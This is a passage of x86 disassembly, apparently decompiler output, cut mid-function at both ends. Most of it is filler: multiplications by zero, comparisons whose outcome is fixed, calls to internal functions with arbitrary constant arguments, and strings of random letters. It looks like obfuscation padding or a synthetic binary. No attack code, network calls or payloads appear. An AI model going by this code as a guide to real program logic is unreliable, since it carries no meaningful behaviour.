imul eax, eax, 0
mov eax, dword [ebp + eax - 0x29c]
mov dword [ebp - 0x1e58], eax
cmp dword [ebp - 0x338], 0xfffc
jne 0x48b88d
mov dword [ebp - 0x1368], 1
jmp 0x48b894
and dword [ebp - 0x1368], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x29c]
mov dword [ebp - 0x1efc], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x29c]
mov dword [ebp - 0x7a0], eax
mov eax, dword [ebp - 0x7a0]
mov dword [ebp - 0x1e60], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x29c]
mov dword [ebp - 0x1f04], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x29c]
mov dword [ebp - 0x1e68], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x29c]
mov dword [ebp - 0x564], eax
cmp dword [ebp - 0x564], 0xffff
ja 0x48b91b
push 0xfffffffffffffff7
pop eax
test eax, eax
jne 0x48b91b
and dword [ebp - 0x954], 0
jmp 0x48b925
mov dword [ebp - 0x954], 1
cmp dword [ebp - 0x954], 0
jle 0x48b93a
mov dword [ebp - 0x132c], 1
jmp 0x48b941
and dword [ebp - 0x132c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x29c]
mov dword [ebp - 0x1f0c], eax
cmp dword [ebp - 0x7a0], 1
jae 0x48b969
mov dword [ebp - 0x1534], 1
jmp 0x48b970
and dword [ebp - 0x1534], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x29c]
mov dword [ebp - 0x1e70], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x29c]
mov dword [ebp - 0x1f14], eax
mov eax, dword [ebp - 0x564]
mov dword [ebp - 0x1334], eax
push 1
push 0x1bbc
push 1
push 1
push 1
push 0x67b5
push 0x7f98
push 0x12c4
lea eax, [ebp - 0x564]
push eax
lea eax, [ebp - 0x338]
push eax
push 0x4d9b
push 0xb8c
push 0x4e9a
push 0
call fcn.0047e5ce
add esp, 0x38
mov dword [ebp - 0x12ac], 0xfffffff8
mov dword [ebp - 0x12a8], 0xfffffff8
mov dword [ebp - 0x12a4], 0xfffffff8
mov dword [ebp - 0x12a0], 0xfffffff8
mov dword [ebp - 0x3f4], 0
jmp 0x48ba26
mov eax, dword [ebp - 0x3f4]
inc eax
mov dword [ebp - 0x3f4], eax
cmp dword [ebp - 0x3f4], 3
jge 0x48ba42
mov eax, dword [ebp - 0x3f4]
mov dword [ebp + eax*4 - 0x1b8c], 4
jmp 0x48ba19
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x12ac], 0
jmp 0x48ba70
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x12ac]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x12ac], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x12ac], 2
jg 0x48bac3
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x12ac]
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x12ac]
mov eax, dword [ebp + eax*4 - 0x1b8c]
mov dword [ebp + ecx*4 - 0x1b8c], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x12ac]
cmp dword [ebp + eax*4 - 0x1b8c], 0
je 0x48bac1
jmp 0x48ba55
jmp 0x48ba55
mov byte [ebp - 0x21c], 0
movzx eax, byte [ebp - 0x21c]
test eax, eax
je 0x48baf2
push 1
push 0x48eb
push 0
push 0x5af5
push 0x1c5f
push 1
call fcn.0046a55e
add esp, 0x18
push 3
lea ecx, [ebp - 0x1ba4]
call fcn.0040e140
mov dword [ebp - 0x1e78], 0xcdf98a59
mov dword [ebp - 0x1f1c], 0xefc07e17
mov dword [ebp - 0x17fc], 1
push 0
push 1
push 1
lea eax, [ebp - 0x2b8]
push eax
push 0
push 0x6ae0
lea eax, [ebp - 0x1ba4]
push eax
call fcn.00475be4
add esp, 0x1c
mov dword [ebp - 0x2b8], 0
jmp 0x48bb59
mov eax, dword [ebp - 0x2b8]
inc eax
mov dword [ebp - 0x2b8], eax
cmp dword [ebp - 0x2b8], 1
jge 0x48bb75
mov eax, dword [ebp - 0x2b8]
mov dword [ebp + eax*4 - 0x1e80], 0xc3fbb4eb
jmp 0x48bb4c
lea eax, [ebp - 0x1ba4]
push eax
push 0
push 1
push 1
push 0x2233
push 0
call fcn.00488708
add esp, 0x18
push 0x5794
push 0x6b2f
push 0x2b80
push 0x1a28
push 0xb01
push 0x7cd5
push 0x56b
push 0
push 0x6dca
push 1
push 0x6052
push 0x4539
push 1
push 0x62f7
lea eax, [ebp - 0x17fc]
push eax
push 1
push 0x7129
push 0x4c9f
call fcn.00475662
add esp, 0x48
lea ecx, [ebp - 0x1ba4]
call fcn.0040e212
mov dword [ebp - 0x140], 1
push 0x3975
push 1
push 0x7197
push 0x7a59
push 0x4e00
push 0x4c4
push 1
push 0x6daa
push 0x51da
push 0x5f07
push 0
push 0x51d9
push 0x34b1
push 1
push 1
push 0x35ad
call fcn.00475ecb
add esp, 0x40
mov dword [ebp - 0xa14], 0xffffffff
mov dword [ebp - 0x56c], 0xd4e06482
mov dword [ebp - 0x95c], 0xfffffffb
mov dword [ebp - 0x96c], 0x66e9f086
mov dword [ebp - 0x153c], 1
mov dword [ebp - 0x1024], 0x81c
mov dword [ebp - 0x133c], str.wqscue_qjqch_iaiwb_jhpl_obtlkzx_mrhy_gcrpzcm_zxmdmqy_nzlcftdq
cmp dword [ebp - 0x1024], 0xa14
jle 0x48bd33
and dword [ebp - 0x6a8], 0
jmp 0x48bcb3
mov eax, dword [ebp - 0x6a8]
inc eax
mov dword [ebp - 0x6a8], eax
cmp dword [ebp - 0x6a8], 0x3ffe
jge 0x48bd33
and dword [ebp - 0x3fc], 0
jmp 0x48bcd5
mov eax, dword [ebp - 0x3fc]
inc eax
mov dword [ebp - 0x3fc], eax
cmp dword [ebp - 0x3fc], 0x6ef1
jge 0x48bd2e
mov eax, dword [ebp - 0x6a8]
and eax, dword [ebp - 0x3fc]
cdq
mov dword [ebp - 0x1580], eax
mov dword [ebp - 0x157c], edx
push dword [ebp - 0x157c]
push dword [ebp - 0x1580]
lea ecx, [ebp - 0x2478]
call fcn.004019bd
pop ecx
pop ecx
mov ecx, eax
call fcn.0040e020
push eax
call fcn.0049dd57
pop ecx
lea ecx, [ebp - 0x2478]
call fcn.0040e016
jmp 0x48bcc8
jmp 0x48bca6
push 2
lea ecx, [ebp - 0x1f68]
call fcn.0040e140
mov dword [ebp - 4], 6
cmp dword [ebp - 0x1024], 0x43d
jge 0x48bd5f
push dword [ebp - 0x133c]
call fcn.0049dd57
pop ecx
jmp 0x48bd7b
or dword [ebp - 4], 0xffffffff
jmp 0x48bd85
mov dword [ebp - 0x1f24], 0xffffffff
mov dword [ebp - 0x1344], 0xfffffff9
mov dword [ebp - 0x78], 0
jmp 0x48bda9
mov eax, dword [ebp - 0x78]
inc eax
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 3
jge 0x48bdbf
mov eax, dword [ebp - 0x78]
mov dword [ebp + eax*4 - 0x21f8], 0x925b
jmp 0x48bda2
push 0
push 0x200c
lea eax, [ebp - 0x78]
push eax
push 1
push 1
lea eax, [ebp - 0x1f68]
push eax
push 0x6c3a
push 1
push 0x25b
push 0x2656
push 0x6a13
push 0x4a50
push 0x685e
call fcn.00469c0a
add esp, 0x34
mov dword [ebp - 0x78], 0
jmp 0x48be0d
mov eax, dword [ebp - 0x78]
inc eax
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 3
jge 0x48be23
mov eax, dword [ebp - 0x78]
mov dword [ebp + eax*4 - 0x2394], 0xccca
jmp 0x48be06
mov dword [ebp - 0x56c], 0
jmp 0x48be3c
mov eax, dword [ebp - 0x56c]
inc eax
mov dword [ebp - 0x56c], eax
cmp dword [ebp - 0x56c], 3
jg 0x48bfb4
mov dword [ebp - 0x138], 0x45db34e6
mov dword [ebp - 0x102c], 8
mov byte [ebp - 0x1ad], 0
push 0
push 1
push 1
lea eax, [ebp - 0x1ad]
push eax
push 0x7d70
push 1
call fcn.0047f6ca
add esp, 0x18
mov dword [ebp - 0x138], 2
jmp 0x48be99
mov eax, dword [ebp - 0x138]
dec eax
mov dword [ebp - 0x138], eax
cmp dword [ebp - 0x138], 0
jl 0x48bfaf
mov dword [ebp - 0x708], 0x5ccb9725
mov eax, dword [ebp - 0x708]
add eax, dword [ebp - 0x708]
mov dword [ebp - 0x95c], eax
cmp dword [ebp - 0x95c], 0xe662
jg 0x48beda
mov dword [ebp - 0xdec], 1
jmp 0x48bee1
and dword [ebp - 0xdec], 0
mov eax, dword [ebp - 0x708]
cmp dword [ebp - 0xdec], eax
jle 0x48bf01
cmp dword [ebp - 0x138], 0
jne 0x48bf01
and dword [ebp - 0x964], 0
jmp 0x48bf0b
mov dword [ebp - 0x964], 1
mov eax, dword [ebp - 0x138]
mov eax, dword [ebp + eax*4 - 0x21f8]
cmp eax, dword [ebp - 0x964]
jle 0x48bf2c
mov dword [ebp - 0x11cc], 1
jmp 0x48bf33
and dword [ebp - 0x11cc], 0
mov eax, dword [ebp - 0x11cc]
mov dword [ebp - 0x96c], eax
cmp dword [ebp - 0x96c], 0xffffffff
je 0x48bf54
mov dword [ebp - 0xdf4], 1
jmp 0x48bf5b
and dword [ebp - 0xdf4], 0
cmp dword [ebp - 0xdf4], 0xa116
jg 0x48bf73
mov dword [ebp - 0x974], 1
jmp 0x48bf7a
and dword [ebp - 0x974], 0
mov eax, dword [ebp - 0x974]
mov dword [ebp - 0x102c], eax
mov eax, dword [ebp - 0x102c]
mov dword [ebp - 0x1e88], eax
mov eax, dword [ebp - 0x138]
mov dword [ebp - 0x1f2c], eax
mov eax, dword [ebp - 0x138]
mov dword [ebp - 0x153c], eax
jmp 0x48be8c
jmp 0x48be2f
push 0x1d99
push 0x4e01
push 1
push 1
lea eax, [ebp - 0x1344]
push eax
push 0x5542
push 1
push 0
call fcn.0047e05f
add esp, 0x20
mov dword [ebp - 0x97c], 0x57ba
mov dword [ebp - 0x16bc], str.uinmj_pvv_okgosev_kpco_rmjeh_benyobiwv_krsil_bopgagep_hnr_augpenad_ilxonk_rwtejjlb_wludhgz_peqyeab
cmp dword [ebp - 0x97c], 0x5840
jle 0x48c071
and dword [ebp - 0x404], 0
jmp 0x48c010
mov eax, dword [ebp - 0x404]
inc eax
mov dword [ebp - 0x404], eax
cmp dword [ebp - 0x404], 0x3eeb
jge 0x48c071
and dword [ebp - 0x624], 0
jmp 0x48c032
mov eax, dword [ebp - 0x624]
inc eax
mov dword [ebp - 0x624], eax
cmp dword [ebp - 0x624], 0x6476
jge 0x48c06f
mov eax, dword [ebp - 0x404]
sub eax, dword [ebp - 0x624]
cdq
mov dword [ebp - 0x158c], eax
mov dword [ebp - 0x1588], edx
push dword [ebp - 0x1588]
push dword [ebp - 0x158c]
mov ecx, 0xa97fd8
call fcn.0040e02b
jmp 0x48c025
jmp 0x48c003
mov dword [ebp - 4], 8
cmp dword [ebp - 0x97c], 0x53ed
jge 0x48c094
mov edx, dword [ebp - 0x16bc]
mov ecx, 0xa97fd8
call fcn.0041000e
jmp 0x48c0b0
or dword [ebp - 4], 0xffffffff
jmp 0x48c0ba
lea ecx, [ebp - 0x1f68]
call fcn.0040e212
mov dword [ebp - 0x70], 0x90c4
mov dword [ebp - 0xe04], 6
push 3
lea ecx, [ebp - 0x1a78]
call fcn.0040e140
mov dword [ebp - 0x40c], 0
jmp 0x48c0fc
mov eax, dword [ebp - 0x40c]
inc eax
mov dword [ebp - 0x40c], eax
cmp dword [ebp - 0x40c], 3
jge 0x48c11e
push dword [ebp - 0x40c]
lea ecx, [ebp - 0x1a78]
call fcn.0040e22e
mov dword [eax], 0xfffffffe
jmp 0x48c0ef
cmp dword [ebp - 0x70], 0xfffb
jne 0x48c167
push 1
push 0x7707
lea eax, [ebp - 0x70]
push eax
push 1
push 0
push 0x6ebe
push 0
push 0x596a
push 1
lea eax, [ebp - 0xe04]
push eax
push 0x1840
push 0x43ab
push 0x553b
call fcn.0047a800
add esp, 0x34
jmp 0x48c3f5
mov dword [ebp - 0x28c], 0x97bc8b4
mov dword [ebp - 0x240], 0x7731
mov dword [ebp - 0x70], 4
jmp 0x48c18b
mov eax, dword [ebp - 0x70]
dec eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 0xffffffff
jl 0x48c2af
mov dword [ebp - 0x234], 0xacff
cmp dword [ebp - 0x234], 0
je 0x48c219
cmp dword [ebp - 0x234], 0
jne 0x48c1c3
cmp dword [ebp - 0x234], 0
jne 0x48c1c3
and dword [ebp - 0xdfc], 0
jmp 0x48c1cd
mov dword [ebp - 0xdfc], 1
mov eax, dword [ebp - 0x28c]
cmp dword [ebp - 0x234], eax
jle 0x48c1e7
mov dword [ebp - 0x134c], 1
jmp 0x48c1ee
and dword [ebp - 0x134c], 0
mov eax, dword [ebp - 0x234]
mov dword [ebp - 0x1e90], eax
mov eax, dword [ebp - 0xdfc]
sub eax, 0xb2fc
cmp dword [ebp - 0x234], eax
jle 0x48c219
mov dword [ebp - 0x984], 1
jmp 0x48c220
and dword [ebp - 0x984], 0
mov eax, dword [ebp - 0x984]
sub eax, 0x2299bf79
cmp eax, dword [ebp - 0x28c]
jne 0x48c23f
mov dword [ebp - 0x1144], 1
jmp 0x48c246
and dword [ebp - 0x1144], 0
cmp dword [ebp - 0x1144], 0
jle 0x48c25b
mov dword [ebp - 0x98c], 1
jmp 0x48c262
and dword [ebp - 0x98c], 0
mov eax, dword [ebp - 0x98c]
mov dword [ebp - 0x240], eax
push 1
push 1
push 1
push 1
push 0x377b
push 0x763b
push 0x5dcb
push 0x3ecc
push 0x2159
push 0x18ac
push 0
push 0x2fea
lea eax, [ebp - 0x240]
push eax
call fcn.00477862
add esp, 0x34
jmp 0x48c184
mov dword [ebp - 0x240], 0
jmp 0x48c2c8
mov eax, dword [ebp - 0x240]
inc eax
mov dword [ebp - 0x240], eax
cmp dword [ebp - 0x240], 2
jg 0x48c3f5
mov dword [ebp - 0x1544], 0xf321ee01
mov dword [ebp - 0x1354], 0x5d7c1543
mov dword [ebp - 0x70], 0
jmp 0x48c2f9
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 2
jg 0x48c3b4
mov dword [ebp - 0x28c], 0
jmp 0x48c31c
mov eax, dword [ebp - 0x28c]
inc eax
mov dword [ebp - 0x28c], eax
cmp dword [ebp - 0x28c], 2
jg 0x48c3af
push 0x3c62
push 0x32e
lea eax, [ebp - 0x1544]
push eax
push 0x462c
push 0x5434
push 0x24ba
push 1
push 1
lea eax, [ebp - 0xe04]
push eax
push 0x7d16
lea eax, [ebp - 0x70]
push eax
push 0
push 0x43c7
lea eax, [ebp - 0x1a78]
push eax
call fcn.004740ad
add esp, 0x38
push 0
push 1
lea eax, [ebp - 0x1354]
push eax
push 0x609a
push 0
push 1
push 0x4710
push 1
push 0x45e9
push 0x64bc
push 0x4976
push 0x15ba
call fcn.0047b4e6
add esp, 0x30
jmp 0x48c30f
jmp 0x48c2f2
mov byte [ebp - 0x21e], 0
push 1
push 1
push 0x26fe
push 0x7edf
push 0x2d2d
push 0x58b9
push 1
lea eax, [ebp - 0x21e]
push eax
push 0
push 0x6bd2
push 0x13d9
call fcn.0047c1f0
add esp, 0x2c
jmp 0x48c2bb
lea ecx, [ebp - 0x1a78]
call fcn.0040e212
mov dword [ebp - 0x574], 0
jmp 0x48c419
mov eax, dword [ebp - 0x574]
inc eax
mov dword [ebp - 0x574], eax
cmp dword [ebp - 0x574], 3
jge 0x48c435
mov eax, dword [ebp - 0x574]
mov dword [ebp + eax*4 - 0x2210], 0x204e2db5
jmp 0x48c40c
mov dword [ebp - 0x310], 0x9f9b3198
mov dword [ebp - 0x135c], 0xbca9d692
mov dword [ebp - 0x1f34], 0
mov dword [ebp - 0x1ef0], 0
mov dword [ebp - 0x1554], 0xe637c5b1
mov dword [ebp - 0x154c], 0xbd13d8c5
mov dword [ebp - 0x2174], 0xed99ea7
mov dword [ebp - 0x1ef8], 0x36dc9922
mov dword [ebp - 0x136c], 2
mov dword [ebp - 0x20ac], 1
mov dword [ebp - 0x414], 0
jmp 0x48c4b2
mov eax, dword [ebp - 0x414]
inc eax
mov dword [ebp - 0x414], eax
cmp dword [ebp - 0x414], 4
jge 0x48c4ce
mov eax, dword [ebp - 0x414]
mov dword [ebp + eax*4 - 0x2528], 0x5dea311c
jmp 0x48c4a5
mov dword [ebp - 0x310], 0xfffffffe
jmp 0x48c4e7
mov eax, dword [ebp - 0x310]
dec eax
mov dword [ebp - 0x310], eax
cmp dword [ebp - 0x310], 0xfffffff5
jg 0x48ca1f
push 2
lea ecx, [ebp - 0x12c8]
call fcn.0040e140
mov dword [ebp - 0x1f00], 0xffffffff
mov dword [ebp - 0x2124], 0
mov dword [ebp - 0x1f08], 0x4aa41a80
push 4
lea ecx, [ebp - 0x1ab4]
call fcn.0040e140
push 1
lea ecx, [ebp - 0x1a9c]
call fcn.0040e140
mov dword [ebp - 0x20b4], 8
mov dword [ebp - 0x16c8], 0x3e2e1665
mov dword [ebp - 0x994], 0x70
mov dword [ebp - 0x1754], str.ussz_wxe_htwuaw
cmp dword [ebp - 0x994], 0x181
jle 0x48c60a
and dword [ebp - 0x680], 0
jmp 0x48c587
mov eax, dword [ebp - 0x680]
inc eax
mov dword [ebp - 0x680], eax
cmp dword [ebp - 0x680], 0x7659
jge 0x48c60a
and dword [ebp - 0x41c], 0
jmp 0x48c5a9
mov eax, dword [ebp - 0x41c]
inc eax
mov dword [ebp - 0x41c], eax
cmp dword [ebp - 0x41c], 0x3074
jge 0x48c605
mov eax, dword [ebp - 0x680]
cdq
idiv dword [ebp - 0x41c]
mov eax, edx
cdq
mov dword [ebp - 0x1598], eax
mov dword [ebp - 0x1594], edx
push dword [ebp - 0x1594]
push dword [ebp - 0x1598]
lea ecx, [ebp - 0x23e8]
call fcn.004019bd
pop ecx
pop ecx
mov ecx, eax
call fcn.0040e020
push eax
call fcn.0049dd57
pop ecx
lea ecx, [ebp - 0x23e8]
call fcn.0040e016
jmp 0x48c59c
jmp 0x48c57a
mov dword [ebp - 0x1900], 0xffff
mov dword [ebp - 0x18fc], 0xffff
mov dword [ebp - 0x18f8], 0xffff
mov dword [ebp - 0x18f4], 0xffff
mov dword [ebp - 4], 0xa
cmp dword [ebp - 0x994], 0xfffffd50
jge 0x48c651
push dword [ebp - 0x1754]
call fcn.0049dd57
pop ecx
jmp 0x48c66d
or dword [ebp - 4], 0xffffffff
jmp 0x48c677
push 1
lea ecx, [ebp - 0x1a84]
call fcn.0040e140
mov dword [ebp - 0x1364], 0x75da
push 0x6210
lea eax, [ebp - 0x12c8]
push eax
push 1
push 1
push 0x4c96
push 0x1ae6
push 0x6a32
push 1
push 0
lea eax, [ebp - 0x770]
push eax
push 0
call fcn.0046c645
add esp, 0x2c
push 0x1fb
push 0
lea eax, [ebp - 0x1ab4]
push eax
push 0
push 0x7981
lea eax, [ebp - 0x770]
push eax
push 0xe69
push 0xd23
push 0x4b02
push 1
push 1
call fcn.0047491b
add esp, 0x2c
push 0x3c68
push 0x7a23
lea eax, [ebp - 0x770]
push eax
lea eax, [ebp - 0x1a9c]
push eax
push 0x6eca
push 0
push 0x3aee
push 0x8c0
push 1
push 0x13f5
push 0x5a27
push 0x10fe
push 0xc33
push 1
call fcn.00482623
add esp, 0x38
push 0
push 0xbf7
push 0x9b4
push 0
lea eax, [ebp - 0x770]
push eax
push 0
lea eax, [ebp - 0x1a84]
push eax
push 0x2c9b
push 0x4824
call fcn.00477073
add esp, 0x24
push 1
lea ecx, [ebp - 0x12c8]
call fcn.0040e22e
and dword [eax], 0
jmp 0x48c7a8
push 1
lea ecx, [ebp - 0x12c8]
call fcn.0040e22e
mov dword [ebp - 0x1034], eax
mov eax, dword [ebp - 0x1034]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x1034]
mov dword [ecx], eax
push 1
lea ecx, [ebp - 0x12c8]
call fcn.0040e22e
cmp dword [eax], 0xfffffff0
jge 0x48c816
mov byte [ebp - 0x1b5], 0
push 0x3276
push 0
push 1
push 1
lea eax, [ebp - 0x1b5]
push eax
push 1
call fcn.00488708
add esp, 0x18
mov byte [ebp - 0x220], 0
push 0
push 0x5000
push 0x108f
push 1
push 1
push 0x5631
push 0
push 0x7fb0
lea eax, [ebp - 0x220]
push eax
push 0
call fcn.0047f7fb
add esp, 0x28
jmp 0x48c784
mov eax, dword [ebp - 0x135c]
mov dword [ebp - 0x1f10], eax
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x1900]
dec eax
mov dword [ebp - 0x99c], eax
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x99c]
mov dword [ebp + eax - 0x1900], ecx
cmp dword [ebp - 0x99c], 0
jne 0x48c919
push 0
lea ecx, [ebp - 0x1a84]
call fcn.0040e22e
mov ecx, dword [ebp - 0x154c]
cmp dword [eax], ecx
jle 0x48c88f
push 2
lea ecx, [ebp - 0x1ab4]
call fcn.0040e22e
cmp dword [eax], 0
jne 0x48c88f
cmp dword [ebp - 0x1364], 0
jne 0x48c88f
and dword [ebp - 0xe0c], 0
jmp 0x48c899
mov dword [ebp - 0xe0c], 1
cmp dword [ebp - 0xe0c], 0
jl 0x48c8b4
mov eax, 0x4633
test eax, eax
jne 0x48c8b4
and dword [ebp - 0x9a4], 0
jmp 0x48c8be
mov dword [ebp - 0x9a4], 1
push 0
lea ecx, [ebp - 0x1a9c]
call fcn.0040e22e
mov eax, dword [eax]
cmp eax, dword [ebp - 0x9a4]
jg 0x48c8e1
mov dword [ebp - 0x1218], 1
jmp 0x48c8e8
and dword [ebp - 0x1218], 0
cmp dword [ebp - 0x1218], 7
jge 0x48c8fd
mov dword [ebp - 0x9ac], 1
jmp 0x48c904
and dword [ebp - 0x9ac], 0
cmp dword [ebp - 0x9ac], 0x2576953c
jl 0x48c919
and dword [ebp - 0xe14], 0
jmp 0x48c923
mov dword [ebp - 0xe14], 1
mov eax, dword [ebp - 0xe14]
add eax, 0x757b2dc9
je 0x48c945
cmp dword [ebp - 0x16c8], 0
je 0x48c945
mov dword [ebp - 0x9b4], 1
jmp 0x48c94c
and dword [ebp - 0x9b4], 0
push 0
lea ecx, [ebp - 0x12c8]
call fcn.0040e22e
mov eax, dword [eax]
sub eax, dword [ebp - 0x9b4]
mov dword [ebp - 0x103c], eax
push 1
lea ecx, [ebp - 0x12c8]
call fcn.0040e22e
mov ecx, dword [ebp - 0x103c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x136c]
cmp dword [ebp - 0x103c], eax
jle 0x48c996
mov dword [ebp - 0x9bc], 1
jmp 0x48c99d
and dword [ebp - 0x9bc], 0
cmp dword [ebp - 0x9bc], 0x19d6b80f
je 0x48c9b5
mov dword [ebp - 0xe1c], 1
jmp 0x48c9bc
and dword [ebp - 0xe1c], 0
mov eax, dword [ebp - 0x310]
add eax, dword [ebp - 0xe1c]
cmp eax, 0xfffffff8
jne 0x48c9d9
mov dword [ebp - 0x9c4], 1
jmp 0x48c9e0
and dword [ebp - 0x9c4], 0
mov eax, dword [ebp - 0x9c4]
neg eax
mov dword [ebp - 0x1554], eax
lea ecx, [ebp - 0x1a84]
call fcn.0040e212
lea ecx, [ebp - 0x1a9c]
call fcn.0040e212
lea ecx, [ebp - 0x1ab4]
call fcn.0040e212
lea ecx, [ebp - 0x12c8]
call fcn.0040e212
jmp 0x48c4da
mov dword [ebp - 0x140], 0
jmp 0x48ca38
mov eax, dword [ebp - 0x140]
inc eax
mov dword [ebp - 0x140], eax
cmp dword [ebp - 0x140], 2
jg 0x48cf8a
mov dword [ebp - 0x2194], 1
mov byte [ebp - 0x1bd], 0
push 0x1412
push 0x18a3
push 1
push 0x6671
push 0x2478
push 1
lea eax, [ebp - 0x1bd]
push eax
push 1
push 1
push 1
push 0x5788
call fcn.004727fb
add esp, 0x2c
mov byte [ebp - 0x222], 0
lea eax, [ebp - 0x222]
push eax
push 0x114e
push 0
push 0x436d
push 0x23c0
push 0x5192
push 0
push 0x7c79
push 1
push 1
push 1
push 0x669e
push 0x5cf3
push 0x78b1
call fcn.00486014
add esp, 0x38
mov dword [ebp - 0x150], 0xffffffff
mov dword [ebp - 0x2c0], 0xffff
mov dword [ebp - 0xe2c], 0x5ee4c20f
mov dword [ebp - 0x104c], 7
mov dword [ebp - 0x1374], 0xd35da2a0
mov eax, dword [ebp - 0x150]
mov dword [ebp - 0x1f18], eax
mov eax, dword [ebp - 0x150]
mov dword [ebp - 0x20bc], eax
mov eax, dword [ebp - 0x150]
cmp dword [ebp - 0x150], eax
je 0x48cb34
mov dword [ebp - 0x114c], 1
jmp 0x48cb3b
and dword [ebp - 0x114c], 0
cmp dword [ebp - 0x114c], 6
je 0x48cb50
mov dword [ebp - 0x9cc], 1
jmp 0x48cb57
and dword [ebp - 0x9cc], 0
mov eax, dword [ebp - 0x2c0]
add eax, dword [ebp - 0x9cc]
cmp eax, dword [ebp - 0x150]
jge 0x48cb77
mov dword [ebp - 0xe24], 1
jmp 0x48cb7e
and dword [ebp - 0xe24], 0
mov eax, dword [ebp - 0x150]
cmp eax, dword [ebp - 0xe24]
jl 0x48cb98
mov dword [ebp - 0x9d4], 1
jmp 0x48cb9f
and dword [ebp - 0x9d4], 0
mov eax, dword [ebp - 0x2c0]
cmp dword [ebp - 0x9d4], eax
jle 0x48cbb9
mov dword [ebp - 0x1044], 1
jmp 0x48cbc0
and dword [ebp - 0x1044], 0
cmp dword [ebp - 0x1044], 0xfffffff6
jae 0x48cbd5
mov dword [ebp - 0x9dc], 1
jmp 0x48cbdc
and dword [ebp - 0x9dc], 0
mov eax, dword [ebp - 0x9dc]
mov dword [ebp - 0xe2c], eax
mov eax, dword [ebp - 0x2c0]
cmp dword [ebp - 0xe2c], eax
jne 0x48cc02
mov dword [ebp - 0x9e4], 1
jmp 0x48cc09
and dword [ebp - 0x9e4], 0
mov eax, dword [ebp - 0x150]
cmp dword [ebp - 0x9e4], eax
je 0x48cc23
mov dword [ebp - 0x11d4], 1
jmp 0x48cc2a
and dword [ebp - 0x11d4], 0
mov eax, dword [ebp - 0x150]
add eax, dword [ebp - 0x11d4]
sub eax, dword [ebp - 0x2c0]
cmp eax, 0x4872
jge 0x48cc4f
mov dword [ebp - 0x9ec], 1
jmp 0x48cc56
and dword [ebp - 0x9ec], 0
mov eax, dword [ebp - 0x9ec]
add eax, 8
cmp eax, 0x2a43
jne 0x48cc72
mov dword [ebp - 0xe34], 1
jmp 0x48cc79
and dword [ebp - 0xe34], 0
mov eax, dword [ebp - 0x2c0]
cmp dword [ebp - 0xe34], eax
jne 0x48cc93
mov dword [ebp - 0x9f4], 1
jmp 0x48cc9a
and dword [ebp - 0x9f4], 0
mov eax, dword [ebp - 0x9f4]
mov dword [ebp - 0x104c], eax
cmp dword [ebp - 0x104c], 5
je 0x48ccbb
mov dword [ebp - 0x9fc], 1
jmp 0x48ccc2
and dword [ebp - 0x9fc], 0
mov eax, dword [ebp - 0x9fc]
mov dword [ebp - 0x1374], eax
mov byte [ebp - 0x1c5], 0
movzx eax, byte [ebp - 0x1c5]
test eax, eax
je 0x48ccf8
push 0
push 0x4712
push 1
push 1
push 0xe3a
call fcn.00481375
add esp, 0x14
mov byte [ebp - 0x206], 0
push 1
lea ecx, [ebp - 0x1acc]
call fcn.0040e140
mov dword [ebp - 0x2c8], 0x7831e42a
mov dword [ebp - 0x1f20], 0xfffffffe
mov dword [ebp - 0xe3c], 0x87223b16
lea eax, [ebp - 0x350]
push eax
push 0
lea eax, [ebp - 0x1acc]
push eax
push 0x7480
push 1
push 0
push 0x7449
push 0x3aec
push 0x6014
call fcn.0047fba2
add esp, 0x24
mov dword [ebp - 0x350], 0
jmp 0x48cd73
mov eax, dword [ebp - 0x350]
inc eax
mov dword [ebp - 0x350], eax
cmp dword [ebp - 0x350], 1
jge 0x48cd8f
mov eax, dword [ebp - 0x350]
mov dword [ebp + eax*4 - 0x212c], 0x71865425
jmp 0x48cd66
push 1
lea eax, [ebp - 0x1acc]
push eax
push 0x16e7
push 0x6b8c
push 0x1652
push 0
push 0x698d
push 1
lea eax, [ebp - 0x2c8]
push eax
push 1
call fcn.0047fe1b
add esp, 0x28
mov dword [ebp - 0x2c8], 0
jmp 0x48cdda
mov eax, dword [ebp - 0x2c8]
inc eax
mov dword [ebp - 0x2c8], eax
cmp dword [ebp - 0x2c8], 0
jg 0x48cecd
mov dword [ebp - 0x318], 1
mov dword [ebp - 0x57c], 0
jmp 0x48ce0a
mov eax, dword [ebp - 0x57c]
inc eax
mov dword [ebp - 0x57c], eax
cmp dword [ebp - 0x57c], 3
jge 0x48ce26
mov eax, dword [ebp - 0x57c]
mov dword [ebp + eax*4 - 0x24f0], 0xffffffff
jmp 0x48cdfd
push 1
push 1
push 0x6463
lea eax, [ebp - 0x318]
push eax
push 0x2372
push 0
push 0
push 1
call fcn.0047c3b9
add esp, 0x20
mov eax, dword [ebp - 0xe3c]
dec eax
mov dword [ebp - 0xe3c], eax
mov dword [ebp - 0x318], 0
jmp 0x48ce6f
mov eax, dword [ebp - 0x318]
inc eax
mov dword [ebp - 0x318], eax
cmp dword [ebp - 0x318], 0
jg 0x48cec8
mov byte [ebp - 0x224], 0
push 0
push 0
push 1
push 0x1809
lea eax, [ebp - 0x224]
push eax
push 1
call fcn.0047f6ca
